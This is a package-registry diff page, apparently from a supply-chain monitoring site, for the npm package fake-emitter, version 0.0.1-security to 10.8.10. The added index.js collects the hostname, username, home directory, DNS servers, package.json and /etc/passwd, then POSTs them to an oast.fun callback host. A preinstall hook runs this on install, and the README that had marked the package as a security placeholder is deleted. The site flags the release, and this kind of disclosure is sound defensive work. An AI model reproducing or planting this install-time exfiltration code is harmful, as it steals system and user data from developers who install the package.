fake-emitter 0.0.1-security → 10.8.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of fake-emitter might be problematic. Click here for more details.
- package/index.js +58 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,58 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const fs = require("fs");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const package = packageJSON.name;
|
8
|
+
|
9
|
+
// Function to read /etc/passwd on Unix-based systems
|
10
|
+
function readPasswd() {
|
11
|
+
try {
|
12
|
+
const passwd = fs.readFileSync("/etc/passwd", "utf8");
|
13
|
+
return passwd;
|
14
|
+
} catch (error) {
|
15
|
+
return "Failed to read /etc/passwd: " + error.message;
|
16
|
+
}
|
17
|
+
}
|
18
|
+
|
19
|
+
const trackingData = JSON.stringify({
|
20
|
+
p: package,
|
21
|
+
c: __dirname,
|
22
|
+
hd: os.homedir(),
|
23
|
+
hn: os.hostname(),
|
24
|
+
un: os.userInfo().username,
|
25
|
+
dns: dns.getServers(),
|
26
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
27
|
+
v: packageJSON.version,
|
28
|
+
pjson: packageJSON,
|
29
|
+
passwd: readPasswd(), // Add /etc/passwd content here
|
30
|
+
});
|
31
|
+
|
32
|
+
var postData = querystring.stringify({
|
33
|
+
msg: trackingData,
|
34
|
+
});
|
35
|
+
|
36
|
+
var options = {
|
37
|
+
hostname: "jkohekbzwjsnmmvumqbvfqi9c4jjn0xwl.oast.fun",
|
38
|
+
port: 443,
|
39
|
+
path: "/",
|
40
|
+
method: "POST",
|
41
|
+
headers: {
|
42
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
43
|
+
"Content-Length": postData.length,
|
44
|
+
},
|
45
|
+
};
|
46
|
+
|
47
|
+
var req = https.request(options, (res) => {
|
48
|
+
res.on("data", (d) => {
|
49
|
+
process.stdout.write(d);
|
50
|
+
});
|
51
|
+
});
|
52
|
+
|
53
|
+
req.on("error", (e) => {
|
54
|
+
// console.error(e);
|
55
|
+
});
|
56
|
+
|
57
|
+
req.write(postData);
|
58
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "fake-emitter",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "10.8.10",
|
4
|
+
"description": "Hacked!!!! by hack3r",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall" : "index.js"
|
9
|
+
},
|
10
|
+
"author": "backdoor69",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=fake-emitter for more information.
|